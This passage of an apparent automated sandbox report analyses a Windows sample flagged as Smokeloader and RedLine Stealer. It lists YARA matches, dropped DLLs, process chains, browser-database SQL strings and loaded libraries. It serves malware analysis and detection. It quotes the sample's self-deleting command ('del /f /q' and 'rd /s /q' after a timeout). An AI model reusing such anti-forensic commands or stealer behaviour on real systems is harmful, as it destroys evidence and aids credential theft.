Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB379F0 11_2_6CB379F0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB399C0 11_2_6CB399C0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAD99D0 11_2_6CAD99D0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB55920 11_2_6CB55920
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBEF900 11_2_6CBEF900
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB1F960 11_2_6CB1F960
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB5D960 11_2_6CB5D960
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB7DAB0 11_2_6CB7DAB0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAA1AE0 11_2_6CAA1AE0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB9DA30 11_2_6CB9DA30
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CC29A50 11_2_6CC29A50
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB41A10 11_2_6CB41A10
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CADFA10 11_2_6CADFA10
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB69BB0 11_2_6CB69BB0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAF9BA0 11_2_6CAF9BA0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB85B90 11_2_6CB85B90
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CA91B80 11_2_6CA91B80
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAE7BF0 11_2_6CAE7BF0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAEBB20 11_2_6CAEBB20
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB7FB60 11_2_6CB7FB60
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAA14E0 11_2_6CAA14E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CC214A0 11_2_6CC214A0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB89430 11_2_6CB89430
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\FIEGCBKEGCFC\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View Dropped File: C:\ProgramData\FIEGCBKEGCFC\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: String function: 004087A0 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: String function: 00568A07 appears 57 times
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: String function: 0040F5A0 appears 139 times
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: String function: 0056F807 appears 139 times
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: String function: 6CAC9B10 appears 95 times
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: String function: 6CC2DAE0 appears 72 times
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: String function: 6CAC3620 appears 95 times
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: String function: 6CC2D930 appears 57 times
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: String function: 6CBD9F30 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: String function: 6CAFC5E0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: String function: 6CC209D0 appears 303 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7932 -s 1512
Sample file is different than original file name gathered from version info
Source: 2.exe, 00000000.00000000.1664925218.0000000002C8C000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamesFilezera2 vs 2.exe
Source: 2.exe Binary or memory string: OriginalFilenamesFilezera2 vs 2.exe
Uses 32bit PE files
Source: 2.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 10.2.D818.exe.4570000.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 10.2.D818.exe.2560000.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 10.2.D818.exe.4347719.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 10.2.D818.exe.2560000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 10.2.D818.exe.4347719.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 10.2.D818.exe.4570000.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 00000010.00000002.3994207435.0000000002D70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.1969684642.0000000002E4B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1740824715.0000000002E2B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1969820013.00000000048F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.1969542787.0000000002D90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1740978999.00000000049F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000010.00000002.3994237528.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000A.00000002.2306037473.0000000004570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 00000000.00000002.1740688964.0000000002DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.2346451120.0000000000560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000002.2305075541.0000000002560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 00000000.00000002.1740710634.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000010.00000002.3995067757.000000000302E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.3994385384.0000000002E51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2346623744.00000000005DD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1969780302.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@15/35@6/9
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB00300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError, 11_2_6CB00300
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02E320A0 CreateToolhelp32Snapshot,Module32First, 0_2_02E320A0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0042B20E CoCreateInstance, 6_2_0042B20E
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\jssrvvh Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7812:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7932
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\38F9.tmp Jump to behavior
Source: 2.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\AppData\Local\Temp\D818.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\2.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: softokn3.dll.11.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, sqls[1].dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.11.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, sqls[1].dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, sqls[1].dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, sqls[1].dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.11.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.11.dr Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: softokn3.dll.11.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.11.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.11.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.11.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: softokn3.dll.11.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: katB4C0.tmp, katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, sqls[1].dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, sqls[1].dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3.dll.11.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.11.dr Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002C75000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032601893.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2481742648.0000000000A36000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.11.dr Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.11.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.11.dr Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.11.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: 2.exe ReversingLabs: Detection: 39%
Source: 2.exe Virustotal: Detection: 43%
Source: unknown Process created: C:\Users\user\Desktop\2.exe "C:\Users\user\Desktop\2.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\jssrvvh C:\Users\user\AppData\Roaming\jssrvvh
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\38F9.exe C:\Users\user\AppData\Local\Temp\38F9.exe
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7932 -s 1512
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\D818.exe C:\Users\user\AppData\Local\Temp\D818.exe
Source: C:\Users\user\AppData\Local\Temp\D818.exe Process created: C:\Users\user\AppData\Local\Temp\katB4C0.tmp C:\Users\user\AppData\Local\Temp\katB4C0.tmp
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\katB4C0.tmp" & rd /s /q "C:\ProgramData\FIEGCBKEGCFC" & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: unknown Process created: C:\Users\user\AppData\Roaming\jssrvvh C:\Users\user\AppData\Roaming\jssrvvh
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\38F9.exe C:\Users\user\AppData\Local\Temp\38F9.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\D818.exe C:\Users\user\AppData\Local\Temp\D818.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Process created: C:\Users\user\AppData\Local\Temp\katB4C0.tmp C:\Users\user\AppData\Local\Temp\katB4C0.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\katB4C0.tmp" & rd /s /q "C:\ProgramData\FIEGCBKEGCFC" & exit Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\2.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\2.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\2.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: userenv.dll Jump to behavior
